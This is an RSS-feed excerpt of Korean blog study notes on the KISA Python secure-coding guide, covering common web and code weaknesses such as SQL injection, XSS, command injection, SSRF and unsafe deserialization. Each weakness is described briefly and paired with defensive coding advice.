<p>값을 반환하는 모든 함수의 결괏값을 검사해야 한다. 결괏값이 개발자가 의도했던 값인지 검사하고 예외 처리를 사용하는 경우에 광범위한 예외 처리 대신 구체적인 예외 처리를 수행한다.</p>
<br>

<h1 id="4-코드-오류"><strong>4. 코드 오류</strong></h1>
<blockquote>
<p><strong>타입 변환 오류, 자원의 부적절한 반환 등과 같이 개발자가 범할 수 있는 코딩 오류로 인해 유발되는 보안 약점</strong></p>
</blockquote>
<br>

<h2 id="1-null-pointer-역참조"><strong>1) Null Pointer 역참조</strong></h2>
<p>공격자가 의도적으로 널 포인터 역참조를 발생시키는 경우 공격자는 그 결과로 발생하는 예와 상황을 이용해 추후 공격 계획에 활용할 수 있다.</p>
<p>파이썬에서는 Null 객체가 사용되지 않으며 대신 None 키워드를 사용해 null 개체와 변수를 정의한다.</p>
<h3 id="1-안전한-코딩기법-19"><strong>(1) 안전한 코딩기법</strong></h3>
<p>None을 반환하는 함수를 사용하면 조건문에서 False로 평가될 수 있기 때문에 실수하기 쉽다. None이 될 수 있는 데이터를 참조하기 전에 해당 데이터의 값이 None인지 검사하여 시스템 오류를 줄일 수 있다.</p>
<br>

<h2 id="2-부적절한-자원-해제"><strong>2) 부적절한 자원 해제</strong></h2>
<p>자원을 사용하고 해제하지 않거나 잘못된 방법으로 해제할 때 발생한다. </p>
<h3 id="1-안전한-코딩기법-20"><strong>(1) 안전한 코딩기법</strong></h3>
<p>자원을 획득하여 사용한 다음에는 반드시 자원을 해제 후 반환한다.</p>
<br>

<h2 id="3-신뢰할-수-없는-데이터의-역직렬화"><strong>3) 신뢰할 수 없는 데이터의 역직렬화</strong></h2>
<p>역직렬화는 반대 연산으로 바이너리 파일이나 바이트 스트림으로부터 객체 구조로 복원하는 과정이다. 바이너리 파일로 사람은 읽을 수가 없는데 역직렬화를 통해 읽을 수 있는 언어로 바꿀 수 있다.</p>
<p>파이썬에서는 pickle 모듈을 통해 직렬화, 역직렬화를 수행할 수 있다. pickle 모듈은 데이터 변조에 대한 검증 과정이 없기 때문에 임의 코드를 실행하는 악의적인 pickle 데이터를 구성할 수 있어 pickle을 사용해 역직렬화하는 경우 hmac으로 데이터에 서명하거나 json 모듈을 사용하는 것을 고려해야 한다.</p>
<h3 id="1-안전한-코딩기법-21"><strong>(1) 안전한 코딩기법</strong></h3>
<p>모든 변수를 사용 전에 반드시 올바른 초깃값을 할당해야 한다. 신뢰할 수 없는 데이터를 역직렬화 하지 않도록 구성해야 한다. </p>
<br>

<h1 id="5-캡슐화"><strong>5. 캡슐화</strong></h1>
<blockquote>
<p><strong>중요한 데이터 또는 기능성을 불충분하게 캡슐화하거나 잘못 사용함으로써 발생하는 보안 약점으로 정보 노출, 권한 문제 등이 발생</strong></p>
</blockquote>
<br>

<h2 id="1-잘못된-세션에-의한-데이터-정보-노출"><strong>1) 잘못된 세션에 의한 데이터 정보 노출</strong></h2>
<p>다중 스레드 환경에서는 싱글톤(Singleton) 객체 필드에 경쟁 조건(Race Condition)이 발생할 수 있다. </p>
<h3 id="1-안전한-코딩기법-22"><strong>(1) 안전한 코딩기법</strong></h3>
<p>다중 스레드 환경에서는 정보를 저장하는 전역 변수가 포함되지 않도록 코드를 작성해 서로 다른 세션에서 데이터를 공유하지 않도록 해야 한다.</p>
<p>다중 스레드 환경에서 클래스 변수의 값은 하위 메소드와 공유되므로 필요한 경우 인스턴스 변수로 선언하여 사용한다.</p>
<br>

<h2 id="2-제거되지-않고-남은-디버그-코드"><strong>2) 제거되지 않고 남은 디버그 코드</strong></h2>
<p>디버그 코드는 성정 등의 민감한 정보 또는 의도하지 않은 시스템 제어로 이어질 수 있는 정보를 담고 있을 수 있다.</p>
<p>만일 디버그 코드가 남겨진 채로 배포될 경우 공격자가 식별 과정을 우회하거나 의도하지 않은 정보 노출로 이어질 수 있다.</p>
<h3 id="1-안전한-코딩기법-23"><strong>(1) 안전한 코딩기법</strong></h3>
<p>배포 전 반드시 디버그 코드 확인 및 삭제와 디버그 모드를 비화성화한다.</p>
<br>

<h2 id="3-public-메소드로부터-반환된-private-배열"><strong>3) Public 메소드로부터 반환된 Private 배열</strong></h2>
<p>파이썬은 명시적인 private 선언이 없다. 이름 앞에 밑줄로 시작하면 private로 처리된다. public으로 선언된 메소드에서 배열을 반환하면 해당 배열의 참조 객체가 외부에 공개되어 외부에서 배열 수정과 객체 속성 변경이 가능해진다.</p>
<h3 id="1-안전한-코딩기법-24"><strong>(1) 안전한 코딩기법</strong></h3>
<p>private로 선언된 배열을 public으로 선언된 메소드로 반환하지 않도록 한다. </p>
<br>

<h2 id="4-private-배열에-public-데이터-할당"><strong>4) Private 배열에 Public 데이터 할당</strong></h2>
<p>public으로 선언된 메소드의 인자가 private로 선언된 배열에 저장되면 private 배열을 외부에서 접근하여 <br>배열 수정과 객체 속성 변경이 가능해진다.</p>
<h3 id="1-안전한-코딩기법-25"><strong>(1) 안전한 코딩기법</strong></h3>
<p>public으로 선언된 메소드의 인자를 private로 선언된 배열에 저장하지 않도록 한다. 사용자가 전달한 값으로 <br>클래스 외부에서 private 값을 변경해서는 안 되며, 필요한 경우 별도의 인스턴스 변수로 정의하거나 의도한 <br>기능이라면 전달된 값의 정상여부를 검증한 후 적용해야 한다.</p>
<br>

<h2 id="6-api-오용"><strong>6. API 오용</strong></h2>
<blockquote>
<p><strong>의도된 사용에 반하는 방법으로 API를 사용하거나 보안에 취약한 API를 사용하여 발생할 수 있는 보안 약점</strong></p>
</blockquote>
<br>

<h2 id="1-dns-lookup에-의존한-보안-결정"><strong>1) DNS lookup에 의존한 보안 결정</strong></h2>
<p>로컬 DNS 서버의 캐시가 공격자에 의해 오염된 상황이라면 사용자와 특정 서버 간의 네트워크 트래픽이 공격자를 경유하도록 할 수도 있다. 또한 공격자가 마치 동일 도메인에 속한 서버인 것처럼 위장할 수도 있다.</p>
<h3 id="1-안전한-코딩기법-26"><strong>(1) 안전한 코딩기법</strong></h3>
<p>도메인명을 이용한 DNS lookup을 하지 않도록 한다. 도메인명에 의존에서 보안 결정(인증 및 접근 통제 등)을 하지 않아야 한다. </p>
<br>

<h2 id="2-취약한-api-사용"><strong>2) 취약한 API 사용</strong></h2>
<p>취약한 API는 보안상 금지된 함수이거나 부주의하게 사용될 가능성이 많은 API를 의미한다.</p>
<p>외부 패키지 사용 시 보안 문제가 발생하게 되는 원인을 크게 두 가지로 분류할 수 있다.</p>
<ul>
<li>사용자 배포 패키지 내의 결함으로 인한 취약점</li>
<li>언어 엔진 자체의 결함으로 인한 취약점 </li>
</ul>
<h3 id="1-안전한-api-선택"><strong>(1) 안전한 API 선택</strong></h3>
<p>취약한 API를 코드에 사용하지 않는 것이 제일 좋다. 하지만 이는 파이썬 생태계에서는 적용이 어려운 방법이다. 안전하다고 알려진 API라고 하더라도 취약점이 발견되지 않을 것이라는 보장이 없다.</p>
<p>최초 패키지 사용 시 가장 현실적인 방법</p>
<ul>
<li>사용 통계<ul>
<li>얼마나 많은 사람들이 해당 패키지를 다운로드 샜고, 선호하고 있는지</li>
</ul>
</li>
<li>이슈 관리<ul>
<li>지속해서 발견되는 버그 또는 이슈를 어떻게 처리하고 있는지</li>
</ul>
</li>
<li>마지막 버전<ul>
<li>코드 유지관리가 잘 되고 있는지</li>
</ul>
</li>
<li>발견된 취약점<ul>
<li>특정 버전에서 취약점이 발견되었는지</li>
<li>결함이 제거된 버전이 공개되어 있는지</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][애플리케이션 보안] - Python 시큐어코딩 가이드 1]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Python-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9-%EA%B0%80%EC%9D%B4%EB%93%9C-1-jhzebz0b</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-Python-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9-%EA%B0%80%EC%9D%B4%EB%93%9C-1-jhzebz0b</guid>
            <pubDate>Sun, 31 Mar 2024 18:16:40 GMT</pubDate>
            <description><![CDATA[<h1 id="1-입력데이터-검증-및-표현"><strong>1. 입력데이터 검증 및 표현</strong></h1>
<blockquote>
<p><strong><a href="https://www.kisa.or.kr/2060204/form?postSeq=13&amp;lang_type=KO#fnPostAttachDownload">Python 시큐어코딩 가이드</a></strong></p>
</blockquote>
<p>프로그램 입력값에 대한 검증 누락 또는 부적절한 검증, 데이터의 잘못된 형식 지정, 일관되지 않은 언어셋 사용 등으로 인해 발생하는 보안 약점으로 SQL 삽입, XSS 등의 공격을 유발할 수 있다.</p>
<br>

<h2 id="1-sql-삽입"><strong>1) SQL 삽입</strong></h2>
<blockquote>
<p><strong>입력값에 쿼리 조작 문자열을 확인하지 않고 쿼리문 생성 및 실행에 사용하는 경우 발생</strong></p>
</blockquote>
<p>쿼리가 조작되어 실행되기 때문에 권한 밖의 데이터에 접근할 수 있고, 쿼리 실행을 통해서 제공되는 기능을 우회해서 사용해 해당하는 시스템의 제어권을 탈취할 수 있다.</p>
<br>

<h3 id="1-안전한-코딩-기법"><strong>(1) 안전한 코딩 기법</strong></h3>
<p>DB API 사용 시 인자(arguments)를 통해 외부 입력값을 바인딩해서 사용하면 SQL 삽입 공격으로부터 안전하게 보호할 수 있다.</p>
<p>구조를 정의하고 정의된 값을 전달해서 실행하는데, 이때 값을 구조에 의해 반영하는 것은 해당하는 애플리케이션에서 담당해야 한다.</p>
<p>파이썬에서 많이 사용되는 ORM 프레임워크는 쿼리를 직접 만들지 않고, 프레임워크가 알아서 만들어 주기 때문에 SQL 삽입 공격으로부터 안전하다.</p>
<p>쿼리를 만들 때 문자열 결합 형식으로 만들면 안 되고, 입력값에 대한 검증이 있어야 한다.</p>
<p>이를 안전하게 만들기 위해서는 쿼리의 구조를 정의하고 쿼리 실행에 필요한 값을 execute 메서드에 매개변수로 사용해야 한다.</p>
<br>

<h2 id="2-코드-삽입"><strong>2) 코드 삽입</strong></h2>
<blockquote>
<p><strong>공격자가 소프트웨어의 의도된 동작을 변경하도록 임의 코드를 삽입해 소프트웨어가 비정상적으로 동작하도록 하는 보안 약점</strong></p>
</blockquote>
<p>코드 삽입은 해당하는 코드를 해석해서 실행하는 주는 코드를 말한다. 소스 코드의 코드를 해석해서 실행 해주는 ecal(), exec() 등이 있다.</p>
<br>

<pre><code class="language-py">print(eval(&#39;1 + 1&#39;))</code></pre>
<p>위 코드가 있을 때, &#39;1 + 1&#39;은 단순한 문자열이 아니고, python 코드로 실행한다. &#39;1+1&#39;을 해석해서 2라는 값을 출력하게 된다. &#39;1+1&#39;에 파이썬 코드(외부에서 들어오는 값)가 들어가면 해당하는 서버에서 파이썬 코드가 실행되어 결과가 노출되게 된다.</p>
<br>

<h3 id="1-안전한-코딩기법"><strong>(1) 안전한 코딩기법</strong></h3>
<p>동적 코드를 실행할 수 있는 함수를 사용하지 않는 것이 제일 좋은 방법이다. 필요시, 실행할 수 있는 동적 코드를 입력값으로 받지 않도록 외부 입력값에 대해 제한, 화이트리스트 기반 검증을 수행해야 한다. </p>
<br>

<h2 id="3-경로-조작-및-자원-삽입"><strong>3) 경로 조작 및 자원 삽입</strong></h2>
<blockquote>
<p><strong>외부 입력값이 자원 식별자로 사용되는 경우</strong></p>
</blockquote>
<p>외부 입력값을 검증, 제한하지 않고 사용하면, 권한 밖 자원에 대해 접근할 수 있고 자원을 선점하거나 충돌시켜 정상적인 서비스를 방해한다.</p>
<br>

<h3 id="1-안전한-코딩기법-1"><strong>(1) 안전한 코딩기법</strong></h3>
<p>외부로부터 받은 입력값을 자원의 식별자로 사용하는 경우 적절한 검증을 거치도록 하거나 사전에 정의된 리스트에 포함된 식별자만 사용하도록 제한해야 한다. 특히 외부 입력이 파일명인 경우 필터를 적용해 경로 조작 문자열(/, \, .. 등)을 제거해야 한다.</p>
<p>외부 입력값에서 경로 조작 문자열을 제거하기 위해서는 replace, re.sub, filter 함수를 사용해 특수문자 필터링할 수 있다.</p>
<br>

<h2 id="4-크로스사이트-스크립트xss"><strong>4) 크로스사이트 스크립트(XSS)</strong></h2>
<blockquote>
<p><strong>의도하지 않은 스크립트 코드 실행</strong></p>
</blockquote>
<p>크로스사이트 스크립트 공격은 웹사이트에 악성 코드를 삽입하는 공격 방법이다. XSS 공격은 일반적으로 애플리케이션 호스트 자체보다 사용자를 목표로 삼는다.</p>
<br>

<h3 id="1-유형"><strong>(1) 유형</strong></h3>
<ol>
<li>Reflective XSS (Non-persistent XSS)<ul>
<li>입력값이 다음 화면 출력에 사용하는 경우</li>
<li>입력값에 스크립트 코드 포함 여부를 확인하지 않고 그대로 출력에 사용하면 입력값으로 전달된 스크립트 코드가 사용자 브라우저에서 실행</li>
</ul>
</li>
<li>Stored XSS (Persistent XSS)<ul>
<li>공격자가 입력한 스크립트 코드가 취약한 서버에 저장</li>
<li>사용자가 조회 시 저장된 스크립트 코드가 그대로 사용자 브라우저로 전달되어 실행</li>
</ul>
</li>
<li>DOM XSS (Client-Side XSS)<ul>
<li>개발자가 작성한 스크립트 코드의 취약점을 이용</li>
</ul>
</li>
</ol>
<br>

<h3 id="2-안전한-코딩기법"><strong>(2) 안전한 코딩기법</strong></h3>
<p>외부 입력값 또는 출력값에 스크립트가 삽입되지 못하도록 문자열 치환 함수를 사용하여 치환하거나, html 라이브러리의 escape()를 사용해 문자열을 변환해야 한다. HTML 태그를 허용해야 하는 게시판에서는 허용할 HTML 태그들을 화이트 리스트로 만들어 해당 태그만 지원한다.</p>
<p>파이썬 프레임워크인 Django, Flask 등을 사용하는 경우 악의적인 스크립트가 삽입되지 못하도록 프레임워크 자체에서 공격에 사용될 수 있는 문자를 HTML 특수문자로 치환하여 페이지를 생성하므로 XSS 공격으로부터 안전하다.</p>
<p>Django 에서 mark_safe를 사용하면 Django 에서 HTML 특수문자로 치환하는 기능을 제거하고 사용할 수 있다. 그래서 mark_safe를 사용할 때는 주의가 필요하고 신뢰할 수 없는 데이터에 대해서는 사용하지 않는 것이 안전하다.</p>
<p>autoescape off도 비슷한 기능을 하는 데 사용할 경우 주의가 필요하고 신뢰할 수 없는 값에 대해서는 on으로 설정하는 것이 안전하다. autoescape의 기본값은 on이다.</p>
<br>

<h2 id="5-운영체제-명령어-삽입"><strong>5) 운영체제 명령어 삽입</strong></h2>
<blockquote>
<p><strong>외부 입력값이 운영체제 명령어 실행 또는 명령어 일부로 사용되는 경우</strong></p>
</blockquote>
<p>OS Command Injection 때 공부한 내용이다.</p>
<p>적절한 검증, 제한을 거치지 않은 사용자 입력값이 운영체제 명령어에 사용되는 경우 시스템 동작 및 운영에 악영향을 미칠 수 있다.</p>
<br>

<h3 id="1-안전한-코딩기법-2"><strong>(1) 안전한 코딩기법</strong></h3>
<p>외부 입력값에 시스템 명령어를 포함하는 경우 |, ;, &amp;, :, &gt;, &lt;, \ 과같이 멀티 라인 및 리다이렉트 문자 등을 필터링하고 명령을 수행할 파일명과 옵션을 제한해 인자로만 사용될 수 있도록 해야 한다.</p>
<p>os.system은 외부로부터 받은 입력값을 통해 프로그램을 실행하며, 외부에서 전달되는 인자값은 명령어의 생성에 사용된다. 이때 실행할 프로그램을 제한하지 않고 사용하면 공격자는 원하는 모든 프로그램을 실행할 수 있다. </p>
<p>외부에서 입력받은 각이 명령어 인자로 사용되지 않고 명령어 그 자체로 사용될 경우에는 사전에 화이트리스트 배열을 정의한 후 적절한 파라미터를 선택하도록 해야 한다.</p>
<br>

<h2 id="6-위험한-형식-파일-업로드"><strong>6) 위험한 형식 파일 업로드</strong></h2>
<blockquote>
<p><strong>업로드되는 파일의 크기와 개수를 제한하지 않고 외부에서 접근할 수 있는 경로에 저장했을 때 발생</strong></p>
</blockquote>
<p>서버에서 실행할 수 있는 스크립트 파일을 업로드하고, 그 파일을 직접 호출해서 실행한다.</p>
<p>파일에 새로운 보안 약점을 넣어 둔다면, 파일이 실행되면서 서버에 새로운 보안 약점이 생기게 된다.</p>
<p>대표적으로 운영체제 명령어 삽입 공격을 쉽게 할 수 있도록 하는 웹쉘이 있다.</p>
<br>

<h3 id="1-안전한-코딩기법-3"><strong>(1) 안전한 코딩기법</strong></h3>
<p>파일 업로드 공격을 방지하기 위해서 특정 파일 유형만 허용하도록 화이트리스트 방식으로 파일 유형을 제한해야 한다.</p>
<p>파일 크기 및 파일 개수를 제한하지 않으면 시스템 자원 고갈이 되어 서비스 거부가 발생하는데, 이 서비스 거부 공격이 발생하지 않도록 제한해야 한다.</p>
<p>업로드 파일을 웹 루트 폴더 외부에 저장해 공격자가 URL을 통해 파일을 실행할 수 없도록 해야 하며, 가능하면 업로드된 파일의 이름은 공격자가 추측할 수 없는 무작위한 이름으로 변경 후 저장하는 것이 안전하다.</p>
<br>

<h2 id="7-신뢰되지-않은-url-주소로-자동-접속-연결"><strong>7) 신뢰되지 않은 URL 주소로 자동 접속 연결</strong></h2>
<blockquote>
<p><strong><a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Redirections">Redirection</a></strong></p>
</blockquote>
<p>리다이렉션 기능이 존재하는 경우, 외부 입력값을 검증, 제한 없이 리다이렉션의 주소로 사용되는 경우 발생한다.</p>
<p>요청한 주소에 리다이렉션 주소로 사용되는 경우가 많은데, 리다이렉션 주소를 검증, 제한하지 않는 경우 공격자가 요청한 해당 주소 사이트와 동일하게 만들어 놓은 사이트로 이동하게 된다. 공격자는 리다이렉션이 들어 있는 주소를 클릭할 수 있게 링크로 만들어 이메일, SMS, 카톡 등을 통해서 불특정 다수에게 전달해 피싱 공격에 악용한다.</p>
<br>

<h3 id="1-리다이렉트-방법"><strong>(1) 리다이렉트 방법</strong></h3>
<ul>
<li>HTTP 리다이렉션<ul>
<li>300번대 상태코드와 Location 응답헤더를 전달해서 클라이언트(브라우저)가 다시 요청</li>
</ul>
</li>
<li> HTML 리다이렉션<ul>
<li>```html<head><meta http-equiv="refresh" content="0;URL='리다이렉션할 주소'" /></head>```</li>
</ul>
</li>
<li> JavaScript 리다이렉션<ul>
<li>```html<script> window.location = "리다이렉션할 주소"; </script>```</li>
</ul>
</li>
<li> 적용 우선순위<ol>
<li>HTTP 리다이렉션</li>
<li>HTML 리다이렉션</li>
<li>JavaScript 리다이렉션</li>
</ol>
</li>
</ul>
<br>

<h3 id="2-안전한-코딩기법-1"><strong>(2) 안전한 코딩기법</strong></h3>
<p>리다이렉션을 허용하는 모든 URL을 서버 측 화이트리스트로 관리하고 사용자 입력값을 리다이렉션 할 URL이 존재하는지 검증해야 한다.</p>
<p>만약 리다이렉션 URL의 인자 값으로 사용되어야만 하는 경우 모든 리다이렉션에서 프로토콜과 host 정보가 들어가지 않는 상대 URL(relative)을 사용 및 검증해야 한다. 절대  URL(absoute  URL)을 사용할 경우 리다이렉션을 실행하기 전에 사용자 입력 URL이 서비스하고 있는 URL로 시작하는지를 확인해야 한다.</p>
<br>

<h2 id="8-부적절한-xml-외부-개체-참조"><strong>8) 부적절한 XML 외부 개체 참조</strong></h2>
<blockquote>
<p><strong>서버에서 XML 외부 엔티티를 처리할 수 있도록 설정된 경우에 발생</strong></p>
</blockquote>
<p>XML 문서에는 DTD(Document Type Definition)를 포함할 수 있으며 DTD는 XML 엔티티(entity)를 정의한다.</p>
<p>취약한 XML parser가 외부값을 참조하는 XML을 처리할 때 공격자가 삽입한 공격 구문이 동작하여 서버 파일 접근, 불필요한 자원 사용, 인증 우회, 정보 노출 등이 발생할 수 있다.</p>
<p>파이썬에서 기본 XML 파서가 제공되는데, 이 파서는 유효성 검사와 같은 고급 기능은 지원하지 않는다. 그렇기 때문에 안정성이 검증된 다른 라이브러리를 사용하는 것이 안전하다.</p>
<br>

<h3 id="1-안전한-코딩기법-4"><strong>(1) 안전한 코딩기법</strong></h3>
<p>로컬 정적 DTD를 사용하도록 설정하고 외부에서 전송된 XML 문서에 포함된 DTD를 완전하게 비활성화해야 한다. 비활성화를 할 수 없는 경우에는 외부 엔티티 및 외부 문서 유형 선언을 각 파서에 맞는 고유한 방식으로 비활성화한다.</p>
<p>외부 라이브러리를 사용할 경우 기본적으로 외부 엔티티에 대한 구문 분석 기능을 제공하는지 확인하고 제공이 되는 경우 해당 기능을 비활성화할 방법을 확인해 외부 엔티티 구문 분석 기능을 비활성화한다.</p>
<br>

<h2 id="9-xml-삽입"><strong>9) XML 삽입</strong></h2>
<blockquote>
<p><strong>외부 입력값에 XPath 구문 또는 XQuery 구문을 조작할 수 있는 문자열 포함 여부를 확인하지 않고 XML 문서를 해석해서 실행하는 데 사용하는 경우에 발생</strong></p>
</blockquote>
<p>공격자가 쿼리문의 구조를 임의로 변경하고 쿼리를 실행해 허가되지 않은 데이터를 열람하거나 인증 절차를 우회할 수 있는 보안 약점이다.</p>
<br>

<h3 id="1-안전한-코딩기법-5"><strong>(1) 안전한 코딩기법</strong></h3>
<p>XQuery 또는 XPath 쿼리에 사용되는 외부 입력값에 대하여 특수문자 및 쿼리 예약어를 필터링하고 인자화된 쿼리문을 지원하는 XQuery를 사용해야 한다.</p>
<br>

<h2 id="10-ldap-삽입"><strong>10) LDAP 삽입</strong></h2>
<blockquote>
<p><strong>LDAP 서버에 조회를 요청할 때 입력값이 사용되는 것</strong></p>
</blockquote>
<p>외부 입력값을 적절할 처리 없이 LDAP 쿼리문이나 결과의 일부로 사용하는 경우 LDAP 쿼리문이 실행될 때 공격자는 LDAP 쿼리문의 내용을 마음대로 변경할 수 있다.</p>
<br>

<h3 id="1-ldpa-서버"><strong>(1) LDPA 서버</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7728f410-b6b4-4975-a190-31b65e179952/image.png" alt=""></p>
<p>LDAP은 사용자가 조직, 구성원 등에 대한 데이터를 찾는 데 도움이 되는 프로토콜이다.</p>
<p>LDAP 서버는 디렉터리 서비스로 우리가 가지고 있는 리소스들을 계층 구조로 관리해 주는 서버다.</p>
<br>

<h3 id="2-안전한-코딩기법-2"><strong>(2) 안전한 코딩기법</strong></h3>
<ul>
<li>올바른 인코딩 함수를 사용해 모든 변수 이스케이프 처리</li>
<li>화이트리스트 방식의 입력값 유효성 검사</li>
<li>사용자 패스워드와 같은 민감한 정보가 포함된 필드 인덱싱</li>
<li>LDAP 바인딩 계정에 할당된 권한 최소화</li>
</ul>
<p>사용자의 입력을 그대로 LDAP 질의문에 사용하면 권한 상승 등의 공격에 노출될 수 있다. 사용자의 입력 중 LDAP 질의문에 사용될 변수를 이스케이프 하여 질의문 실행 시 공격에 노출되는 것을 예방해야 한다.</p>
<br>

<h2 id="11-크로스사이트-요청-위조csrf"><strong>11) 크로스사이트 요청 위조(CSRF)</strong></h2>
<blockquote>
<p><strong>공격자가 심어 놓은 자동화된 요청이 서버에서 희생자의 권한으로 실행되는 것</strong></p>
</blockquote>
<p>웹 응용프로그램이 사용자로부터 받은 요청이 해당 사용자가 의도한 대로 작성되고 전송된 것인지 확인하지 않는 경우 발생한다. 공격자는 사용자가 인증한 세션이 특정 동작을 수행해도 계속 유지되어 정상적인 요청과 비정상적인 요청을 구분하지 못하는 점을 악용한다.</p>
<p>정상적인 페이지로부터의 요청인지, 공격자가 작성한 자동화된 요청인지를 확인하지 않고 요청을 처리하고, 주요 기능임에도 불구하고 인증 여부 및 요청 처리에 필요한 값 전달 여부만 확인하고 사용자가 요청한 것인지 자동화된 코드가 요청한 것인지 확인하지 않고 요청을 처리하는 문제가 있다.</p>
<br>

<h3 id="1-안전한-코딩기법-6"><strong>(1) 안전한 코딩기법</strong></h3>
<p>해당 요청이 정상적인 사용자의 정상적인 절차에 의한 요청인지를 구분하기 위해 세션별로 CSRF 토큰을 생성하여 세션에 저장하고 사용자가 작업 페이지를 요청할 때마다 hidden 값으로 클라이언트에게 토큰을 전달한 뒤, 해당 클라이언트의 데이터 처리 요청 시 전달되는 CSRF 토큰값을 체크하여 요청의 유효성을 검사하도록 한다.</p>
<ol>
<li>요청 절차 검증<ul>
<li>텍스트 기반의 토큰을 이용해 요청 절차 검증<ul>
<li>토큰 전달 과정에 사용자가 관여하지 않고 공격자가 토큰이 있는 페이지를 먼저 호출해 토큰을 추출한 후 다음 페이지를 호출하는 방식으로 공격이 가능</li>
</ul>
</li>
<li>CAPTCHA</li>
<li>reCAPTCHA</li>
</ul>
</li>
<li>주요 기능에 요청 주체를 확인하고 재인증, 재인가 후 처리</li>
</ol>
<br>

<h2 id="12-서버사이드-요청-위조"><strong>12) 서버사이드 요청 위조</strong></h2>
<blockquote>
<p><strong>서버 내부에서 다른 서버로의 요청 결과를 사용하는 경우, 서버 내부 요청에서 사용할 서버 주소를 외부에서 받아오는 경우, 그 주소를 검증, 제한하지 않으면 의도하지 않은 서버로 전달되어 의도하지 않은 결과 반환</strong></p>
</blockquote>
<p>CSRF와 서버사이드 요청 위조는 헷갈릴 수 있다.</p>
<p>CSRF는 클라이언트에서 서버로 요청하면 서버는 처리해서 반환한다. 이때 요청 절차와 검증을 하지 않고 반환하고, 요청은 사람이 하는 것이 아니고 어떤 스크립트와 같은 것을 이용해 자동으로 요청이 발생한다.</p>
<p>서버사이드 요청 위조는 서버 안의 로직에 다른 쪽으로 요청해서 요청의 결과를 받아와서 그 결과를 클라이언트에게 전달하는 것이다. 클라이언트가 서버에 페이지를 요청했는데, 이 서버가 페이지 처리를 다른 서버로 요청해서 결과를 받아와 그 결과와 조합해서 보내는 것이다.</p>
<p>이때 클라이언트에서 전달된 어떠한 값을 이용해서 다른 서버로 요청을 보내는 것인데, 클라이언트에서 전달된 어떠한 값이 변경되면 원래 가야 하는 서버가 아닌 또 다른 서버로 이동해 처리 후 결과를 반환할 수 있게 된다.</p>
<br>

<h3 id="1-안전한-코딩기법-7"><strong>(1) 안전한 코딩기법</strong></h3>
<p>사용자의 입력값을 화이트리스트 방식으로 필터링한다. 부득이하게 사용자가 지정하는 무작위의 URL 받아들여야 하는 경우라면 내부 URL을 블랙리스트로 지정하여 필터링한다. 동일한 내부 네트워크에 있더라도 기기 인증, 접근권한을 확인하여 요청이 이루어질 수 있도록 한다.</p>
<br>

<h2 id="13-http-응답-분할"><strong>13) HTTP 응답 분할</strong></h2>
<blockquote>
<p><strong>외부 입력값에 개행문자 포함 여부를 확인하지 않고 응답 헤더의 각으로 사용되는 경우 응답이 분리되어 전달되는 현상</strong></p>
</blockquote>
<p>새롭게 추가된 응답 본문에 악성 코드를 삽입하여 전달하는 것이 가능해진다.</p>
<p>외부 입력값에 개행문자가 존재하면 HTTP 응답이 2개 이상으로 분리될 수 있다. 이 경우 공격자는 개행문자를 이용해 첫 번째 응답을 종료시키고 두 번째 응답에 악의적인 코드를 주입해 XSS 및 캐시 훼손 공격 등을 할 수 있다.</p>
<p>요청 헤더가 시작하고 개행문자가 두 번 연속해서 나오면 요청 헤더의 끝을 알 수 있다. 응답 헤더의 끝도 개행문자가 두 번 연속으로 나오는 것으로 끝으로 한다.</p>
<br>

<h3 id="1-안전한-코딩기법-8"><strong>(1) 안전한 코딩기법</strong></h3>
<p>외부 입력값이 헤더, 쿠키, 로그 등에 사용될 경우에는 항상 개행문자를 검증하고 가능하다면 헤더에 사용되는 예약어 등을 화이트리스트로 제한해야 한다.</p>
<p>응답 분할을 예방하기 위해 \r, \n과 같은 문자에 대해 치환 또는 예외 처리를 적용해 응답 분할이 발생하지 않도록 해야 한다.</p>
<br>

<h2 id="14-정수형-오버플로우"><strong>14) 정수형 오버플로우</strong></h2>
<blockquote>
<p><strong>정수형 크기가 고정된 상태에서 변수가 저장할 수 있는 범위를 넘어선 값을 저장할 때 발생</strong></p>
</blockquote>
<p>정수를 이진수로 처리할 때 제일 앞자리는 부호비트로 가진다. 이때 양수가 증가하는데, 부호비트를 제외한 나머지가 가득 차면 가장 큰 정수가 돼서 더 이상 증가할 곳이 없음에도 불구하고 양의 정수가 더 증가하면 부호비트를 침범해서 부호비트가 변경되고 사용하고 있는 수는 음수로 변해 가장 작은 정수가 되어 버리는 현상이 나타나는데 이를 정수형 오버플로우라고 한다.</p>
<p>반대로 음수에서 정수가 되면 언더플로우가 됐다고 한다.</p>
<br>

<h3 id="1-안전한-코딩기법-9"><strong>(1) 안전한 코딩기법</strong></h3>
<p>기본 파이썬 자료형을 사용하지 않고 패키지에서 제공하는 데이터 타입을 사용할 경우 해당 패키지에서 제공하는 데이터 타입의 표현 방식과 최대 크기를 반드시 확인해야 한다.</p>
<p>변수에 값 할당 전에 반드시 변수의 최소 및 최댓값을 확인하고 범위를 넘어서는 값을 할당하지 않는지 테스트해야 한다.</p>
<br>

<h2 id="15-보안-기능-결정에-사용되는-부적절한-입력값"><strong>15) 보안 기능 결정에 사용되는 부적절한 입력값</strong></h2>
<blockquote>
<p><strong>안전한 처리를 위해서는 외부 사용자 입력을 최소화하고, 믿을 수 있는 시스템 내부의 값을 사용하도록 설계하고 구현해야 함</strong></p>
</blockquote>
<p>외부 입력값에 대해 신뢰하게 되면, 공격자는 입력값을 조작해 보호 메커니즘을 우회할 수 있게 된다.</p>
<p>인증이나 인가와 같은 보안 결정이 쿠키, 환경변수, 히든 필드 등에 기반을 두어 수행되는 경우 공격자는 입력값을 조작해 보안을 우회할 수 있다. 따라서 충분한 암호화, 무결성 체크를 수행하고 이와 같은 메커니즘이 없는 경우엔 외부 사용자에 의한 입력값을 신뢰해서는 안 된다.</p>
<br>

<h3 id="1-안전한-코딩기법-10"><strong>(1) 안전한 코딩기법</strong></h3>
